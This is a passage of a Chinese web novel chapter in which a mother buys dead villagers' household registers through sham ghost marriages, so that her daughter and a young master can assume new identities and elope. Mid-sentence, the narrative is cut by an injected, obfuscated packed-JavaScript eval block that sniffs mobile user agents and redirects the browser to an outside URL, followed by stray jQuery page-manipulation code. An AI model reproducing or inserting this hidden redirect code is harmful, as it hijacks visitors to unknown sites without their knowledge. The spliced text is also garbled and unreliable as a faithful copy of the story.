周氏也不是非要在周家村去寻,只是她想既然她听过那就说明周家村已经有人弄过,那附近的村都是有可能行的。
她还是想尽量快点把这件事情敲定下来,毕竟六少爷已经在走议亲了,若是真的定亲又逃婚,这世上又要多一个可怜女孩子了。
燕儿本想跟着周氏一起去,但周氏拒绝了,她不知道去了之后会经历一些什么,燕儿毕竟没有经过事,表现出来事情就不好办了。
周氏一连去了十多天,要不是每过几天会寄回家一封写着平安的信,燕儿简直要待不下去了。虽然燕儿没有觉得周氏在做很危险的事情,但是妇人单独在外本来就不安全,虽然周氏说花了钱雇了两个健妇,但该担心还是担心。
不是说有人保护,或者说有钱,就可以不担心的。燕儿开始后悔自己没有跟着去,她知道娘一是心疼她二是觉得带着她也没用。
她也有些自责,自己若是能独当一面,娘就会多信任她一些了,说不定就会把她带去,这样她就不会一个人在家里着急。
好在期间徐允洄又来了一次,送了些金银出来,不过没待很久。只是匆匆跟燕儿聊了一下近况就走了。
徐允洄跟燕儿说,他这些日子必须一切如常,既要备考也要备婚,还要抽时间想办法弄些钱,实在是没办法常常见她。
燕儿理解,她现在其实心态挺好。不是只有她一个人在为他们的事情着急就好,只要能看见一点希望,她都是开心的。
她拂过徐允洄的眼下:“少爷,要好好休息,眼下都黑了。”
徐允洄只说:“我会好好的。”他不会跟燕儿说他不习惯她不在,这样只会让燕儿心里也牵挂着他。
他深深地、深深地看了燕儿两眼,终究还是带着无限不舍走了。
燕儿觉得寂寞,在他走了之后还哭了一场,但并不是同往常一样那么酸涩的哭。她知道,很快,最终的那一天就要来了。
她有种直觉,娘这次回来会带来好消息。
**
周氏一去这么多天是因为她一直没有找到合适的。早死的儿郎和姑娘都有,但是大多都是一-大家子人,这样的人若是用了他们的身份是极为不便的。若有人回来打听一下,马上就露馅了。
但好在,一连走了五六个村子,还是从里面找到了几个适合的人选。
她便一家给了二十文的定金,说不要把孩子定给别人,而后哄着里正将没有销的户籍那页拿走了,美其名曰:“我付了定金,也得拿点东西保证你们不会骗我吧。我拿走户籍你们就不能再配人,这户籍我拿着也没用,不过是求个心安。”
还是有人感觉定金低了,周氏发火说不要了,才劝下来。周氏不是不能接受再高些的定金,只是这些人贪得无厌,若是退了一步,就要接受一退再退。
她是情愿真不做了,也不愿意被这么难缠的人纠缠上。
当然这些事情都是很秘密的进行,除了里正旁人都不知道详情,村民们能听到些风声但也就这样了,他们一年到头听到的家长里短可太多了,不是个个都当真的。
周氏走时体体面面的,回来却满面霜尘,燕儿一见就心疼上了,连忙叫周氏回屋休息,她去烧水让她洗一洗。
周氏也没拒绝,她也确实是累了,跟人打交道哪里有好玩的。她又不懂行情,第一个村的时候差点就说漏了,还好那个里正也是要懂不懂的。
周氏定的爽快,那里正可能也是想的多一事不如少一事,没有细想。
“燕儿,你有办法联系六少爷吗?这事,还是叫他来,一起商量一下,看定下哪家。”
燕儿想了想,街上有家书铺是少爷的,少爷说若是有急事要见他,就去书铺跟掌柜的说。
周氏想这事虽然没有那么急,但是做事最忌讳拖拖拉拉,便还是让燕儿去了。
没到半天,徐允洄就敲响了燕儿家的房门。他不是第一次来了,身上那种局促少了许多。
周氏没多废话,将她觉得可以选择的人选户籍一一摊开,跟他们讲解:“这里一共是二男三女。我先说男子,第一个林明,二十一岁,是个猎户,家里就他一个了,是打猎的时候遇到野猪被顶死的。第二个许晖,十八岁,得病死的,家里只有一个老祖母,眼看也活不久了。”
“女子有三个,第一个刘爱娘,十三岁,是意外落水去世的,母亲已死父亲另娶,在家中不受重视。第二个黄飞燕,十四岁,得病死的,母亲改嫁父亲早逝。第三个白嫣然,十七岁,是个傻子,家里人不重视。”
徐允洄很快就选定了:“就那个许晖吧,年龄差距小些。”
燕儿犹豫不决:“娘,户籍上不是会写样貌特征吗?我跟谁长得相似些?”
周氏考虑到了这点,这几人不仅家庭简单样貌也没有突出的特点。六少爷和燕儿的样貌虽然比他们好,但是官府户籍上是不太突出相貌的。
“不若就黄飞燕吧,她是个孤女,没人追究的。”周氏提议,燕儿也没反对。
三人就先将身份确定下来,但这还不够,周氏就算以结阴亲的方式让里正闭口不言。他们却还要考虑之后的事情,比如户籍究竟往哪里迁。
“虽然顶替了这两人的身份,但要外地迁就要合适的理由,最好在迁户口之前你们先去合婚,不然后续赶路,男女有别,实在不便利。”周氏既然已经认可了他们,也不在意两人成婚匆忙与否。
日子过得好不好本也不是从这些仪式当中看出来的,只不过是用这种仪式宣告所有亲友他们的喜事罢了。但徐允洄和燕儿的亲事注定得不到许多人祝福,周氏便是最正经的长辈了。
徐允洄迟疑,他知道周太太说得是对的。他们若是未婚男女总在一路,找借口都不好使。若是新婚夫妻带上寡母,就合理得多。
但他觉得这样会委屈燕儿,他说了明媒正娶,怎么能连一场婚礼都没有呢。即便是权宜之计,他也做不到那么心安理得。
他看向燕儿,想要征求她的意见:“你觉得呢?”
燕儿并没有那么在乎,她的确想要一场婚礼,但跟结果相比,这个过程
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15827175|171261||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
就没有那么重要了。
“可是,我们怎么顺利的合婚呢?他们都没有合适的长辈,如果也无里正见证,应该不行的吧?”
“不,许晖的祖母还在世呢,只是病得起不了床。从许家偷出祖母的户籍即可,还可以以祖母心愿为由去合婚,小吏们不会认真看的。”这办法有一些冒险,但徐允洄他们要做的这件事情已经足够冒险。
走了第一步,后面便只能硬着头皮继续下去了。
“等成婚之后,便直接去外地吧,但也不好走得太远,没有合适的理由,轻易不会有人远走他乡的。”徐允洄想了一下,又问周氏:“周太太,这两人的祖籍有没有外地的?”
周氏倒没有了解得这么细,她大概明白徐允洄为什么问这个问题:“若有人祖籍合适,就去那个地方?”
徐允洄点点头,他觉得做戏做全套,其实撒谎就是要半真半假效果最好。既然已经顶替了已死之人的身份,不如就把身份设置清楚,也免得乱编。
燕儿只用羡慕和崇拜的眼神看着两人,她觉得是因为他们都在外面所以知道很多她不怎么会注意到的细节,实在是太厉害了。
周氏看自家孩子是怎么看怎么觉得喜欢的,温柔的摸-摸燕儿的头顶:“慢慢来,你再长大些都会懂的。”
商量好这些,徐允洄告诉周氏他带了两百两出来,还请周氏保管。
周氏见着银钱心里一松,别的都好处理,没钱是真的不好办。五两银子她就能办妥两人户籍的事情,农家孩子不值钱的。
**
周氏准备了充足的钱,因此事情进行得格外顺利。黄巧巧的家人很好说话,给了钱就愿意把女儿起出来。
周氏本来不愿意做这样的事情,可是不做这样的事情,黄巧巧的家人一定会起疑,于是便另花了些钱将她远远葬在别处了。
许晖家只能瞒着那老祖母,许家村的村长按辈分来说是许晖的叔叔,也是老祖母的晚辈。老人被唯一孙儿的死讯冲击得一蹶不振,眼见也要跟着去了,村长做这样的事情还是有些愧疚。
他对周氏道:“李太太便再等上几天吧,婶娘估计也就在这几天了,待她去了,怎样都好。”
周氏动容道:“我也不是不通情理的人,这样吧,既然我那亲戚跟晖儿结了亲,晖儿的祖母也是我的长辈,就让我们来操持后事吧。”
村长犹豫:“这……不太好吧。”
周氏只说了一句话就打消了他的疑虑:“你放心,他们的财物我都不沾的。只是图个心安,你知道的,我们干这样的事儿,其实也是为了积些阴德,见不得这些年纪轻轻没成家的孩子孤孤单单的。”
村长仿佛也被周氏这一通话说服了似的:“是啊,这是好事。婶娘从前就说,晖儿的亲事是她最记挂的事情。如此,也算了了愿。”
世人谁不知落地为安,若是不给银两,谁会愿意结什么阴亲。但若是这些都能谈得拢,大家便有心装一装仁慈的模样,给自己冠上‘为他好’的高帽,久而久之便连自己也说服了。